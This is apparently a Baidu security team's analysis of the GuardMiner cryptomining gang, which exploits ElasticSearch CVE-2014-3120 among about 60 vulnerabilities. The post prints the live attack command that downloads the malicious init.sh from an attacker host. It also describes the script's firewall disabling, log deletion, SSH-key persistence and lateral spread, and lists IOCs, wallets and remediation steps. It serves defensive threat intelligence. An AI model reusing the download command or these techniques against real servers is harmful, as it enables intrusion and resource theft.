2021-06-11 17:12:0822249人阅读
百度安全智云盾系统多次检测到到黑客团伙GuardMiner利用ElasticSearch远程命令执行漏洞(CVE-2014-3120)入侵云上主机进行门罗币挖矿,根据智云盾威胁情报中心检测的数据显示,针对云上主机的恶意挖矿行为呈现上升趋势,最常见的挖矿币种就是门罗币。
黑客热衷于利用云上主机实施门罗币挖矿,一方面是巨大的利益驱使,自20年5月以来,门罗币价格不断上涨,虽然21年上半年有过下跌,但是整体仍然呈现出上涨趋势。下图展示了门罗币的价格走势,
图1 门罗币价格趋势(数据来源:coinmarketcap.com)
另一方面,门罗币有环状交易结构,导致不可追查,它采用的CryptoNight算法,针对CPU架构进行优化,所需要的运算资源从GPU转向了CPU,所以黑客热衷于利用以CPU为主的云主机挖矿,门罗币也成为了挖矿团伙钟爱的目标。
1)程序分析
挖矿团伙GuardMiner通过下载的networkmanager来进行漏洞攻击,该模块底层使用go语言编写,并且使用UPX加壳。还原函数名后发现,攻击者总共使用60多种漏洞进行入侵服务器。下图展示了networkmanager模块内置的部分漏洞攻击脚本。
图2 可被利用的漏洞函数名(部分)
经过统计分析,我们将所有漏洞攻击脚本分为了9大类60小类,下表展示了挖矿团伙GuardMiner此次利用的漏洞库。
表1 漏洞库
漏洞类型 | 数目 |
WebLogic远程命令执行漏洞 | 6 |
Hadoop未授权访问漏洞 | 4 |
Drupal漏洞 | 8 |
Thinkphp V5漏洞 | 13 |
Spring 远程命令执行漏洞 | 5 |
SQL Server漏洞 | 7 |
Elasticsearch远程命令执行漏洞 | 6 |
Redis未授权访问漏洞 | 5 |
CCTV设备漏洞 | 6 |
2)漏洞利用
黑客团伙此次使用了ElasticSearch远程命令执行漏洞发起的攻击,该漏洞是黑客利用ElasticSearch 1.2版本使用的脚本引擎MVEL存在的安全问题:不进行任何脚本安全性校验,导致可以执行客户端发送的任意代码。该配置默认是打开的,黑客能够利用这一漏洞,向ElasticSearch的_search?pretty页面发送http请求,请求中包含了可以自动执行恶意
的java代码,代码里包含攻击者构造的恶意命令。此次攻击者使用的命令是下载攻击脚本,命令为:wget http://helpdeskserver.epelcdn.com/dd210131/init.sh -P /tmp/sssooo,下图展示了智云盾捕获的攻击载荷详情:
图2 攻击命令
1)配置环境
攻击者通过远程命令执行漏洞,促使云主机下载恶意shell脚本,该攻击脚本会首先在目标主机配置挖矿所需要的各种环境。先后包括以下几个步骤:
1. 首先关闭防火墙,清理缓存,获取crontab目录和SSH公钥认证文件,将常用的下载工具curl、url、cur、cdl、wget、wdl等等修改为url、cdt、wdt,并且设置linux系统能打开的最大文件数,随后删除系统日志,并且设置tmp目录无法被删除,然后关闭ufw和iptables。
图3 配置环境
2.从公共的比特币交易记录中获取C2地址,设置挖矿程序、持久化脚本、扫描程序的地址、备份地址与最大值;并为挖矿程序,设置最大内存分页数,
图4 配置环境
3.根据挖矿程序的常用端口、进程名、矿池名、地址、钱包地址,杀掉不属于自己的挖矿程序,杀掉tmp目录下的程序,杀掉不属于自己的挖矿容器;这些命令只有一个目的,为了给挖矿程序提供最大的CPU运算资源。
图5 配置环境
2)部署程序
在配置完系统环境后,脚本开始依次下载挖矿程序、守护程序和扫描脚本,在这个过程中会进行自动检查,确保挖矿程序的正常运行。
图6 部署程序
3)加固程序
攻击者部署完挖矿程序后,为了确保程序的稳定运行,分别进行了多种方法确保攻击程序的正常运行。
1.攻击者设置定时任务(每30分钟)定时执行newdat脚本,脚本会检查挖矿程序是否存在,否则则自动安装。
图7 攻击加固
2.通过phpguard程序,确保挖矿进程持续运行。phpguard程序根据名称遍历检查当前主机上挖矿程序是否正常运行,如果没有则重新重启。
3.将公钥写入SSH的authorized_keys文件,配置免密码登录。
图8 攻击加固
攻击者利用漏洞进行挖矿程序部署后,会通过多种方式进行横向攻击传播,感染此类木马。感染方式如下:
1.通过查询SSH的known_host,检查是否存在可以免密登录的机器,进而登录连接。
图9 横向感染
2.定向扫描常见应用端口是否存在漏洞,进而实施攻击。
3.通过尝试redis空口令和多个弱口令的方式入侵。
图10 横向感染
1)矿池分析
我们通过查询配置文件:http://h.epelcdn.com/dd210131/config.json,获取到矿池地址列表与钱包地址,这些矿池累计挖出约216.33个门罗币,价值约38.8w人民币(2021年6月10日,门罗币价格1794.24元,合计约38.8w人民币),算力为283.8+840=1123.8H/S,大约是皮皮虾矿池的千分之一。从算力上看,这种广撒网的方式,也能有一定的规模。其中矿池minexmr现在还没有矿工参与计算。下表展示了此次挖矿木马使用的矿池地址与钱包地址。
表2 挖矿数据统计
矿池地址&端口 | 产量 | 挖矿速度(H/S) | 最早时间 |
xmr.f2pool.com:13531 | 215.33279131 | 283.80 | 2019-04-28 |
xmr-eu2.nanopool.org:14444 | 1.000075 | 840.00 | 2020-08-18 |
sg.minexmr.com:5555 | - | - | - |
2)对应的钱包地址
43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR
43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR
3HVQkSGfvyyQ8ACpShBhegoKGLuTCMCiAr
3)IOC信息
表3 攻击IP
IP | 地理位置 |
175.102.179.84 | 中国-北京 |
221.176.156.164 | 中国-河南-开封 |
132.145.186.243 | 美国-弗吉尼亚州-阿什本 |
如果云主机不幸感染了此类木马,建议采用以下方式进行修复。
1)删除系统的恶意定时任务,rm -rf /etc/newdat.sh
2)删除ssh的authorized_keys中的恶意公钥
3)查看并杀掉恶意进程:phpguard、networkmanager、phpupdate
4)恢复防火墙的默认配置
5)删除主机上的恶意文件
黑客团伙不仅能够利用控制的服务器进行挖矿,还能够执行DDoS攻击,如果感染的服务器包含企业重要业务数据,黑客还可以运行勒索病毒,达到勒索赎金的目的。总之,云上用户应当防微杜渐,事先做好攻击预防工作。
百度智云盾是百度安全专注在互联网基础设施网络安全攻防的团队,提供T级云防、定制端防和运营商联防等DDoS/CC防御解决方案。一直服务于搜索、贴吧、地图、云等百度业务,在保障百度全场景业务之余也进行防御能力外部输出,为互联网客户提供一体化的防御服务。